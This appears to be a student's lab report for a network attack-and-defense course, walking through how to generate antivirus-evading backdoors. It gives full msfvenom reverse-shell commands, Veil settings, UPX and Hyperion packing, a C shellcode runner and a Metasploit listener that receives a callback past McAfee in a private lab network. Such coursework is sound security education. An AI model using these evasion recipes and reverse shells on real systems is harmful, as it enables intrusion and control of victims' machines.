20192403赵秋涵 2021-2022-2 《网络与系统攻防技术》实验三实验报告

20192403赵秋涵 2021-2022-2 《网络与系统攻防技术》实验三实验报告

实验内容

借助kali自带软件完成免杀后门程序的生成、借助网站完成杀毒,并最终实践生成可运行的免杀后门程序。

1. 基础问题

1.1 杀软是如何检测出恶意代码的?

  1. 基于特征码的检测:若文件包含特定据则被认为是恶意代码。检测精确检测,但滞后。
  2. 启发式恶意软件检测:根些片面特征推断,通常在没有精确判定依据时使用启发式检测,检测0-day恶意软件,但开销较大、错判率高。
  3. 基于行为的恶意软件检测:侧重于监控软件的行为,可预报未知多数病毒,但不能发现是哪种病毒

1.2 免杀是做什么?

免杀指能使病毒木马免于被杀毒软件查杀的技术

1.3 免杀的基本方法有哪些?

  1. 改变特征码
    EXE:加压缩壳或加密壳;
    shellcode:使用encode进行编码、基于payload重新编译生成可执行文件;
    源代码:用其他语言进行重写再编译。
  2. 改变行为
    通讯上,尽量使用反弹式连接、隧道技术,并加密通讯数据;
    操作上,基于内存操作、减少对系统的修改,加入混淆作用的正常功能代码
  3. 非常规方式
    使用一个有漏洞的应用当成后门;
    使用社工类攻击,诱骗目标关闭AV软件;
    纯手工打造一个恶意软件。

1.4 开启杀软能绝对防止电脑中恶意代码吗?

并不一定,以此次实验举例,通过异或、加壳等一系列组合操作有时也能骗过杀毒软件,所以杀毒软件也并不是万能的。但杀软上收集了目前已知的大部分恶意软件,所以相对还是比较能提高安全的.

2. 实践内容

kali ip: 172.30.2.135

2.1 使用msf不同编码器

输入msfvenom -p windows/x64/pingback_reverse_tcp -e x86/xor_dynamic -b '\x00\x0a' LHOST=172.30.2.135 LPORT=2403 -f exe > 20192403_backdoor.exe生成后门程序

-e指定要使用的编码器
-p指定payload
payload使用bind_tcp_uuid.rb

virus total检测结果:

2.2 msfvenom生成如jar之类的其他文件

python

msfvenom -p windows/x64/pingback_reverse_tcp -e x86/xor_dynamic -b '\x00\x0a' LHOST=172.30.2.135 LPORT=2403 -f py > 20192403.py

virus total 扫描结果无报毒

msfvenom -p python/meterpreter_reverse_tcp -e x86/xor_dynamic -b '\x00\x0a' LHOST=172.30.2.135 LPORT=2403 -f py > 20192403_2.py

同样0报毒

php

msfvenom -p php/meterpreter_reverse_tcp LHOST=172.30.2.135 LPORT=2403 -f raw > 20192403.php

virus total检测

2.3 veil使用

1. 基本配置

veil
list列出能够使用的模块
use 1 使用免杀服务
set LHOST 172.30.2.135设置反向连接的ip
set LPORT 2403设置反向连接的端口

2. 生成可执行文件

list列出能够使用的模块
use 39使用ruby/meterpreter/rev_tcp.py
generate生成文件

生成的可执行文件:/var/lib/veil/output/compiled/
msf的脚本:/var/lib/veil/output/handlers/
源代码:/var/lib/veil/output/source/
检测结果:

2.4 加壳工具UPX

upx 20192403.exe -o 20192403_upx.exe
检测结果:

2.5 C + shellcode编程

  1. 生成可执行代码
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.2.135 LPORT=2403 -f c

编写文件vi 20192403_shellcode.c
赋值unsigned char buf[]为shellcode

unsigned char buf[] = 
ShellCode

int main()
{
    int (*func)() = (int(*)())buf;
    func();
}

编译文件i686-w64-mingw32-g++ 20192403_shellcode.c -o 20192403_shellcode.exe
检测结果:

2.6 组合使用免杀技术实现免杀

原理
半手工打造一个恶意代码再加壳
使用msfvenom生成shellcode数组,C语言调用这个数组,编译生成可执行文件exe,然后对文件多次加壳(压缩壳、加密壳)

进入/usr/share/windows-resources/hyperion文件目录
输入wine hyperion.exe -v zqh20192403_shellcode.exe zqh20192403_shellcode1.exe
将20192403shellcode加密生成20192403shellcode1文件
将文件传入主机(IP:172.30.0.51):
先在主机输入ncat -l 2403 > zqh20192403_shellcode1.exe
在虚拟机输入nc 172.30.0.51 2403 < zqh20192403_shellcode.exe1

电脑查杀后依然能共存

2.7 用另一台电脑实测,在杀软开启情况下可运行并回连

我用虚拟机攻击主机,主机安装联想自带迈克菲杀毒软件
用maf生成raw文件

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' LHOST=172.30.2.135 LPORT=2403 -f raw -o 20192403.raw

文件传输进主机后没有被查杀

打开msfconsole 配置基本信息

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 172.30.2.135
set LPORT 2403

设置好之后输入exploit进入监听

在主机上用shellcode_laucher执行raw文件
shellcode_launcher.exe -i 20192403.raw
回连成功!

3. 实验中安装veil问题

  1. 软件包无法定位的换源问题
  2. 前序软件包没有安装导致依赖路径出现问题

原本直接安装veil应该是可以的,但我的虚拟机一直报路径依赖问题,网上说是因为版本的问题
所以应该先安装以下软件再安装veil

sudo apt-get -y install git
sudo apt-get install libncurses5* 
sudo apt-get install libavutil55* 
sudo apt-get install gcc-mingw-w64* sudo apt-get install wine32 
sudo apt-get update

但我在安装gcc-mingw-w64*时就已经出现了错误,上网查资料说这是因为没有旧的架构,需要先安装一个i686架构

在安装i686的过程中我的git被报错大小不够,通过参考这篇博客我解决了问题,算是安装完成了

总之这个软件的安装奇奇怪怪,在重装两个虚拟机后,问题突然就解决了,自己碰到的问题太多了,所以并没有整理出一个大致的思路和原理。

4. 实验收获 心得体会

通过这次实验我自己动手体会到了如何制造一个恶意软件,了解了常用的几个免杀工具,对免杀背后的原理认识得更加深刻。
这次实验除最后一问以外其实其他的跟着实验指导命令都能做下来,真正的难点在于安装veil软件。在安装软件的过程中,我对虚拟机可能出现的错误了解更多了一点,得到的体会就是不要着急慢慢来,只要不放弃,说不定哪一次就成功了。

posted @ 2022-04-08 17:19  20192403赵秋涵  阅读(51)  评论(0编辑  收藏  举报